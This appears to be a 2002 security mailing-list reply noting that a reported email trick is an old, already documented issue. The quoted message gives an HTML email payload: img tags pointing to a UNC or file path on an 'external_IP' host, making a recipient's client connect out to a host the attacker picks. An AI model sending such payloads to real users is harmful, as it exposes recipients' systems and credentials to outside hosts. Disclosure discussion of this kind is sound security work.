It's an old issue, as already explained in a paper of Joshua Wright .
http://www.giac.org/practical/Joshua_Wright_GCIH.zip
bye
-naif
On Wed, Jul 03, 2002 at 04:43:46PM -0000, overclocking_a_la_abuela_at_hotmail.com wrote:
[snip]
> OK, that`s what we have found :
> simply send a html formatted mail message that includes this code :
>
> 1st) <img src="file://\\\\external_IP\\resource"> or 2nd) <img
> src="\\\\external_IP\\resource">.
[snip]
--
Fabio Pietrosanti ( naif )
E-mail: naif_at_sikurezza.org - naif_at_blackhats.it
PGP Key (DSS) http://naif.itapac.net/naif.asc
--
"Hacking is the future of security research" R.Power, CSI
Free advertising: www.openbsd.org Multiplatform Ultra-secure OS
----------------------------------------------------------------------------
This list is provided by the SecurityFocus Security Intelligence Alert (SIA)
Service. For more information on SecurityFocus' SIA service which
automatically alerts you to the latest security vulnerabilities please see:
https://alerts.securityfocus.com/
Received on Jul 05 2002
Intro
